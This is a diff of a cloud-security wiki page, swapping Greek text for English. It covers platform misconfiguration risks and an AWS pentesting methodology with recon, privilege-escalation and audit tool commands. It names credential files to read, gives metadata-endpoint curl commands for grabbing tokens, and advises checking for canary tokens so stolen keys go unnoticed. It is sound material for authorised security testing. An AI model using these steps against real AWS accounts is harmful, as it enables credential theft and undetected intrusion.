- **Κίνδυνος:** Παρεμβολή δεδομένων, μη εξουσιοδοτημένη πρόσβαση σε υπηρεσίες backend και αυξημένη ευπάθεια σε επιθέσεις.
1. **Incorrect AWS Region Selection**
- **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
- **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
2. **Overlapping CIDR Blocks**
- **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
- **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
3. **Improper VPC Peering Configuration**
- **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
- **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
4. **Excessive Project Assignments**
- **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
- **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
5. **Inadequate IP Address Management**
- **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
- **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
6. **Including Build Containers Unnecessarily**
- **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
- **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
7. **Failure to Securely Handle Bypass Secrets**
- **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
- **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
8. **Ignoring Region Failover Configurations**
- **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
- **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
9. **Exceeding VPC Peering Connection Limits**
- **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
- **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
10. **Insecure Network Settings**
- **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
- **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
---
### Environment Variables
**Σκοπός:** Διαχείριση μεταβλητών και μυστικών που σχετίζονται με το περιβάλλον που χρησιμοποιούνται από όλα τα έργα.
**Purpose:** Manage environment-specific variables and secrets used by all the projects.
#### Security Configurations:
- **Έκθεση Ευαίσθητων Μεταβλητών**
- **Λάθος ρύθμιση:** Προσθήκη προθέματος `NEXT_PUBLIC_` σε ευαίσθητες μεταβλητές, καθιστώντας τις προσβάσιμες από την πλευρά του πελάτη.
- **Κίνδυνος:** Έκθεση κλειδιών API, διαπιστευτηρίων βάσης δεδομένων ή άλλων ευαίσθητων δεδομένων στο κοινό, οδηγώντας σε παραβιάσεις δεδομένων.
- **Ευαίσθητο απενεργοποιημένο**
- **Λάθος ρύθμιση:** Εάν είναι απενεργοποιημένο (προεπιλογή), είναι δυνατή η ανάγνωση των τιμών των παραγόμενων μυστικών.
- **Κίνδυνος:** Αυξημένη πιθανότητα ακούσιας έκθεσης ή μη εξουσιοδοτημένης πρόσβασης σε ευαίσθητες πληροφορίες.
- **Exposing Sensitive Variables**
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
- **Sensitive disabled**
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
{{#include ../banners/hacktricks-training.md}}

View File

@@ -4,9 +4,9 @@
## Basic Information
**Πριν ξεκινήσετε το pentesting** ενός **AWS** περιβάλλοντος, υπάρχουν μερικά **βασικά πράγματα που πρέπει να γνωρίζετε** σχετικά με το πώς λειτουργεί το AWS για να σας βοηθήσει να κατανοήσετε τι πρέπει να κάνετε, πώς να βρείτε κακοδιαμορφώσεις και πώς να τις εκμεταλλευτείτε.
**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
Έννοιες όπως η ιεραρχία οργανισμού, το IAM και άλλες βασικές έννοιες εξηγούνται σε:
Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
{{#ref}}
aws-basic-information/
@@ -29,42 +29,42 @@ Tools to simulate attacks:
## AWS Pentester/Red Team Methodology
Για να ελέγξετε ένα AWS περιβάλλον, είναι πολύ σημαντικό να γνωρίζετε: ποιες **υπηρεσίες χρησιμοποιούνται**, τι **εκτίθεται**, ποιος έχει **πρόσβαση** σε τι και πώς συνδέονται οι εσωτερικές υπηρεσίες AWS με τις **εξωτερικές υπηρεσίες**.
In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
Από την οπτική γωνία της Red Team, το **πρώτο βήμα για να συμβιβαστεί ένα AWS περιβάλλον** είναι να καταφέρετε να αποκτήσετε κάποια **διαπιστευτήρια**. Εδώ έχετε μερικές ιδέες για το πώς να το κάνετε αυτό:
From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
- **Leaks** σε github (ή παρόμοια) - OSINT
- **Leaks** in github (or similar) - OSINT
- **Social** Engineering
- **Password** reuse (password leaks)
- Ευπάθειες σε AWS-Hosted Applications
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) με πρόσβαση στο metadata endpoint
- **Local File Read**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- Vulnerabilities in AWS-Hosted Applications
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint
- **Local File Read**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- 3rd parties **breached**
- **Internal** Employee
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credentials
Ή με **συμβιβασμό μιας μη αυθεντικοποιημένης υπηρεσίας** που εκτίθεται:
Or by **compromising an unauthenticated service** exposed:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
Ή αν κάνετε μια **ανασκόπηση**, θα μπορούσατε απλώς να **ζητήσετε διαπιστευτήρια** με αυτούς τους ρόλους:
Or if you are doing a **review** you could just **ask for credentials** with these roles:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
> Αφού καταφέρετε να αποκτήσετε διαπιστευτήρια, πρέπει να γνωρίζετε **σε ποιον ανήκουν αυτά τα creds**, και **σε τι έχουν πρόσβαση**, οπότε πρέπει να εκτελέσετε κάποια βασική αρίθμηση:
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
## Basic Enumeration
### SSRF
Αν βρείτε ένα SSRF σε μια μηχανή μέσα στο AWS, ελέγξτε αυτή τη σελίδα για κόλπα:
If you found a SSRF in a machine inside AWS check this page for tricks:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
@@ -72,7 +72,8 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
### Whoami
Ένα από τα πρώτα πράγματα που πρέπει να γνωρίζετε είναι ποιος είστε (σε ποιον λογαριασμό είστε και άλλες πληροφορίες σχετικά με το AWS env):
One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
@@ -88,9 +89,10 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
> [!CAUTION]
> Σημειώστε ότι οι εταιρείες μπορεί να χρησιμοποιούν **canary tokens** για να εντοπίσουν πότε **κωδικοί πρόσβασης κλέβονται και χρησιμοποιούνται**. Συνιστάται να ελέγξετε αν ένας κωδικός είναι canary token ή όχι πριν τον χρησιμοποιήσετε.\
> Για περισσότερες πληροφορίες [**ελέγξτε αυτή τη σελίδα**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
@@ -100,30 +102,30 @@ aws-services/aws-organizations-enum.md
### IAM Enumeration
Αν έχετε αρκετά δικαιώματα, **ο έλεγχος των προνομίων κάθε οντότητας μέσα στον λογαριασμό AWS** θα σας βοηθήσει να κατανοήσετε τι μπορείτε να κάνετε εσείς και άλλες ταυτότητες και πώς να **κλιμακώσετε τα προνόμια**.
If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
Αν δεν έχετε αρκετά δικαιώματα για να καταγράψετε το IAM, μπορείτε να **τα κλέψετε με brute force** για να τα ανακαλύψετε.\
Δείτε **πώς να κάνετε την καταγραφή και το brute-forcing** στο:
If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
Check **how to do the numeration and brute-forcing** in:
{{#ref}}
aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
> Τώρα που **έχετε κάποιες πληροφορίες για τα διαπιστευτήριά σας** (και αν είστε red team ελπίζω να **δεν έχετε εντοπιστεί**). Είναι καιρός να κατανοήσετε ποιες υπηρεσίες χρησιμοποιούνται στο περιβάλλον.\
> Στην επόμενη ενότητα μπορείτε να δείτε μερικούς τρόπους για να **καταγράψετε κάποιες κοινές υπηρεσίες.**
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
> In the following section you can check some ways to **enumerate some common services.**
## Services Enumeration, Post-Exploitation & Persistence
Η AWS έχει μια εκπληκτική ποσότητα υπηρεσιών, στην επόμενη σελίδα θα βρείτε **βασικές πληροφορίες, καταγραφές** cheatsheets\*\*,\*\* πώς να **αποφύγετε την ανίχνευση**, να αποκτήσετε **επιμονή**, και άλλα **tricks post-exploitation** για μερικές από αυτές:
AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
{{#ref}}
aws-services/
{{#endref}}
Σημειώστε ότι **δεν** χρειάζεται να εκτελέσετε όλη τη δουλειά **χειροκίνητα**, παρακάτω σε αυτή την ανάρτηση μπορείτε να βρείτε μια **ενότητα σχετικά με** [**αυτόματα εργαλεία**](#automated-tools).
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](#automated-tools).
Επιπλέον, σε αυτό το στάδιο μπορεί να έχετε ανακαλύψει **περισσότερες υπηρεσίες εκτεθειμένες σε μη αυθεντικοποιημένους χρήστες,** μπορεί να είστε σε θέση να τις εκμεταλλευτείτε:
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
{{#ref}}
aws-unauthenticated-enum-access/
@@ -131,7 +133,7 @@ aws-unauthenticated-enum-access/
## Privilege Escalation
Αν μπορείτε να **ελέγξετε τουλάχιστον τα δικά σας δικαιώματα** σε διάφορους πόρους, θα μπορούσατε να **ελέγξετε αν μπορείτε να αποκτήσετε περαιτέρω δικαιώματα**. Πρέπει να εστιάσετε τουλάχιστον στα δικαιώματα που αναφέρονται σε:
If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
{{#ref}}
aws-privilege-escalation/
@@ -139,10 +141,10 @@ aws-privilege-escalation/
## Publicly Exposed Services
Κατά την καταγραφή υπηρεσιών AWS μπορεί να έχετε βρει κάποιες από αυτές **να εκθέτουν στοιχεία στο Διαδίκτυο** (θύρες VM/Containers, βάσεις δεδομένων ή υπηρεσίες ουρών, στιγμιότυπα ή κάδους...).\
Ως pentester/red teamer θα πρέπει πάντα να ελέγχετε αν μπορείτε να βρείτε **ευαίσθητες πληροφορίες / ευπάθειες** σε αυτές καθώς μπορεί να σας παρέχουν **περαιτέρω πρόσβαση στον λογαριασμό AWS**.
While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
Σε αυτό το βιβλίο θα πρέπει να βρείτε **πληροφορίες** σχετικά με το πώς να βρείτε **εκτεθειμένες υπηρεσίες AWS και πώς να τις ελέγξετε**. Για το πώς να βρείτε **ευπάθειες σε εκτεθειμένες υπηρεσίες δικτύου** θα σας συνιστούσα να **αναζητήσετε** την συγκεκριμένη **υπηρεσία** στο:
In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
{{#ref}}
https://book.hacktricks.wiki/
@@ -152,49 +154,52 @@ https://book.hacktricks.wiki/
### From the root/management account
Όταν ο λογαριασμός διαχείρισης δημιουργεί νέους λογαριασμούς στην οργάνωση, δημιουργείται μια **νέα ρόλος** στον νέο λογαριασμό, που ονομάζεται από προεπιλογή **`OrganizationAccountAccessRole`** και δίνει πολιτική **AdministratorAccess** στον **λογαριασμό διαχείρισης** για να έχει πρόσβαση στον νέο λογαριασμό.
When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
Έτσι, για να αποκτήσετε πρόσβαση ως διαχειριστής σε έναν παιδικό λογαριασμό χρειάζεστε:
So, in order to access as administrator a child account you need:
- **Συμβιβασμός** του **λογαριασμού διαχείρισης** και εύρεση του **ID** των **παιδικών λογαριασμών** και των **ονόματων** της **ρόλου** (OrganizationAccountAccessRole από προεπιλογή) που επιτρέπει στον λογαριασμό διαχείρισης να έχει πρόσβαση ως διαχειριστής.
- Για να βρείτε τους παιδικούς λογαριασμούς, πηγαίνετε στην ενότητα οργανώσεων στην κονσόλα aws ή εκτελέστε `aws organizations list-accounts`
- Δεν μπορείτε να βρείτε το όνομα των ρόλων άμεσα, οπότε ελέγξτε όλες τις προσαρμοσμένες πολιτικές IAM και αναζητήστε οποιαδήποτε επιτρέπει **`sts:AssumeRole` πάνω στους προηγουμένως ανακαλυφθέντες παιδικούς λογαριασμούς**.
- **Συμβιβασμός** ενός **principal** στον λογαριασμό διαχείρισης με **`sts:AssumeRole` άδεια πάνω στη ρόλο στους παιδικούς λογαριασμούς** (ακόμα και αν ο λογαριασμός επιτρέπει σε οποιονδήποτε από τον λογαριασμό διαχείρισης να προσποιείται, καθώς είναι εξωτερικός λογαριασμός, συγκεκριμένες άδειες `sts:AssumeRole` είναι απαραίτητες).
- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
- To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
- You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
## Automated Tools
### Recon
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Ένα εργαλείο **συλλογής αποθεμάτων** επικεντρωμένο στην ασφάλεια AWS, γραμμένο σε Ruby.
- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
```bash
# Install
gem install aws_recon
# Recon and get json
AWS_PROFILE=<profile> aws_recon \
--services S3,EC2 \
--regions global,us-east-1,us-east-2 \
--verbose
--services S3,EC2 \
--regions global,us-east-1,us-east-2 \
--verbose
```
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Το Cloudlist είναι ένα **πολυ-σύννεφο εργαλείο για την απόκτηση Πόρων** (Ονόματα υπολογιστών, Διευθύνσεις IP) από Παρόχους Σύννεφου.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): Το CloudMapper σας βοηθά να αναλύσετε τα περιβάλλοντα Amazon Web Services (AWS) σας. Τώρα περιέχει πολύ περισσότερη λειτουργικότητα, συμπεριλαμβανομένου του ελέγχου για ζητήματα ασφάλειας.
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
```bash
# Installation steps in github
# Create a config.json file with the aws info, like:
{
"accounts": [
{
"default": true,
"id": "<account id>",
"name": "dev"
}
],
"cidrs":
{
"2.2.2.2/28": {"name": "NY Office"}
}
"accounts": [
{
"default": true,
"id": "<account id>",
"name": "dev"
}
],
"cidrs":
{
"2.2.2.2/28": {"name": "NY Office"}
}
}
# Enumerate
@@ -224,7 +229,9 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
- [**cartography**](https://github.com/lyft/cartography): Το Cartography είναι ένα εργαλείο Python που ενοποιεί τα περιουσιακά στοιχεία υποδομής και τις σχέσεις μεταξύ τους σε μια διαισθητική γραφική απεικόνιση που υποστηρίζεται από μια βάση δεδομένων Neo4j.
- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
```bash
# Install
pip install cartography
@@ -233,15 +240,17 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
- [**starbase**](https://github.com/JupiterOne/starbase): Το Starbase συλλέγει περιουσιακά στοιχεία και σχέσεις από υπηρεσίες και συστήματα, συμπεριλαμβανομένης της υποδομής cloud, εφαρμογών SaaS, ελέγχων ασφαλείας και άλλων, σε μια διαισθητική γραφική απεικόνιση που υποστηρίζεται από τη βάση δεδομένων Neo4j.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Χρησιμοποιεί python2) Αυτό είναι ένα εργαλείο που προσπαθεί να **ανακαλύψει όλα** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) που έχουν δημιουργηθεί σε έναν λογαριασμό.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Είναι ένα εργαλείο για **να ανακτήσει όλες τις δημόσιες διευθύνσεις IP** (τόσο IPv4/IPv6) που σχετίζονται με έναν λογαριασμό AWS.
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
### Privesc & Exploiting
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Ανακαλύψτε τους πιο προνομιούχους χρήστες στο σαρωμένο περιβάλλον AWS, συμπεριλαμβανομένων των AWS Shadow Admins. Χρησιμοποιεί powershell. Μπορείτε να βρείτε τον **ορισμό των προνομιακών πολιτικών** στη λειτουργία **`Check-PrivilegedPolicy`** στο [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Το Pacu είναι ένα ανοιχτού κώδικα **AWS exploitation framework**, σχεδιασμένο για επιθετική δοκιμή ασφαλείας σε περιβάλλοντα cloud. Μπορεί να **καταγράψει**, να βρει **λάθη διαμόρφωσης** και να **τα εκμεταλλευτεί**. Μπορείτε να βρείτε τον **ορισμό των προνομιακών αδειών** στο [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) μέσα στο λεξικό **`user_escalation_methods`**.
- Σημειώστε ότι το pacu **ελέγχει μόνο τα δικά σας μονοπάτια privesc** (όχι σε επίπεδο λογαριασμού).
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
- Note that pacu **only checks your own privescs paths** (not account wide).
```bash
# Install
## Feel free to use venvs
@@ -255,7 +264,9 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
- [**PMapper**](https://github.com/nccgroup/PMapper): Ο Principal Mapper (PMapper) είναι ένα σενάριο και βιβλιοθήκη για την αναγνώριση κινδύνων στη διαμόρφωση του AWS Identity and Access Management (IAM) για έναν λογαριασμό AWS ή μια οργάνωση AWS. Μοντελοποιεί τους διάφορους IAM Users και Roles σε έναν λογαριασμό ως κατευθυνόμενο γράφο, που επιτρέπει ελέγχους για **privilege escalation** και για εναλλακτικές διαδρομές που θα μπορούσε να ακολουθήσει ένας επιτιθέμενος για να αποκτήσει πρόσβαση σε έναν πόρο ή ενέργεια στο AWS. Μπορείτε να ελέγξετε τις **permissions που χρησιμοποιούνται για να βρείτε privesc** διαδρομές στα ονόματα αρχείων που τελειώνουν σε `_edges.py` στο [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
pip install principalmapper
@@ -277,8 +288,10 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Το Cloudsplaining είναι ένα εργαλείο Αξιολόγησης Ασφαλείας AWS IAM που εντοπίζει παραβιάσεις της ελάχιστης προνομιακής πρόσβασης και δημιουργεί μια αναφορά HTML με προτεραιότητα κινδύνου.\
Θα σας δείξει πιθανά **υπερβολικά προνομιακά** πελάτες, inline και aws **πολιτικές** και ποιοι **προσωπικοί έχουν πρόσβαση σε αυτές**. (Ελέγχει όχι μόνο για privesc αλλά και για άλλου είδους ενδιαφέρουσες άδειες, συνιστάται η χρήση του).
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
```bash
# Install
pip install cloudsplaining
@@ -290,20 +303,24 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
- [**cloudjack**](https://github.com/prevade/cloudjack): Το CloudJack αξιολογεί τους λογαριασμούς AWS για **ευπάθειες hijacking υποτομέων** ως αποτέλεσμα αποσυνδεδεμένων ρυθμίσεων Route53 και CloudFront.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Λίστα ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Το Dufflebag είναι ένα εργαλείο που **αναζητά** μέσω δημόσιων στιγμιότυπων Elastic Block Storage (**EBS**) για μυστικά που μπορεί να έχουν αφεθεί κατά λάθος.
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
### Audit
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** Το CloudSploit από την Aqua είναι ένα έργο ανοιχτού κώδικα που έχει σχεδιαστεί για να επιτρέπει την ανίχνευση **ασφαλιστικών κινδύνων σε λογαριασμούς υποδομής cloud**, συμπεριλαμβανομένων: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) και GitHub (Δεν αναζητά ShadowAdmins).
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
```bash
./index.js --csv=file.csv --console=table --config ./config.js
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
- [**Prowler**](https://github.com/prowler-cloud/prowler): Ο Prowler είναι ένα εργαλείο ανοιχτού κώδικα για την εκτίμηση των καλύτερων πρακτικών ασφαλείας AWS, ελέγχους, αντίκτυπο σε περιστατικά, συνεχή παρακολούθηση, σκληροποίηση και ετοιμότητα για εγκληματολογική ανάλυση.
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
```bash
# Install python3, jq and git
# Install
@@ -314,11 +331,15 @@ prowler -v
prowler <provider>
prowler aws --profile custom-profile [-M csv json json-asff html]
```
- [**CloudFox**](https://github.com/BishopFox/cloudfox): Το CloudFox σας βοηθά να αποκτήσετε κατάσταση επίγνωσης σε άγνωστα περιβάλλοντα cloud. Είναι ένα εργαλείο γραμμής εντολών ανοιχτού κώδικα που δημιουργήθηκε για να βοηθήσει τους penetration testers και άλλους επαγγελματίες επιθετικής ασφάλειας να βρουν εκμεταλλεύσιμους επιθετικούς δρόμους στην υποδομή cloud.
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. Its an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
```bash
cloudfox aws --profile [profile-name] all-checks
```
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Το Scout Suite είναι ένα εργαλείο ανοιχτού κώδικα για τον έλεγχο ασφαλείας πολλαπλών cloud, το οποίο επιτρέπει την αξιολόγηση της ασφάλειας των περιβαλλόντων cloud.
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
```bash
# Install
virtualenv -p python3 venv
@@ -329,16 +350,18 @@ scout --help
# Get info
scout aws -p dev
```
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (χρησιμοποιεί python2.7 και φαίνεται μη συντηρημένο)
- [**Zeus**](https://github.com/DenizParlak/Zeus): Ο Zeus είναι ένα ισχυρό εργαλείο για τις καλύτερες πρακτικές σκληρής ασφάλισης AWS EC2 / S3 / CloudTrail / CloudWatch / KMS (φαίνεται μη συντηρημένο). Ελέγχει μόνο τις προεπιλεγμένες ρυθμισμένες πιστοποιήσεις μέσα στο σύστημα.
### Συνεχής Έλεγχος
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
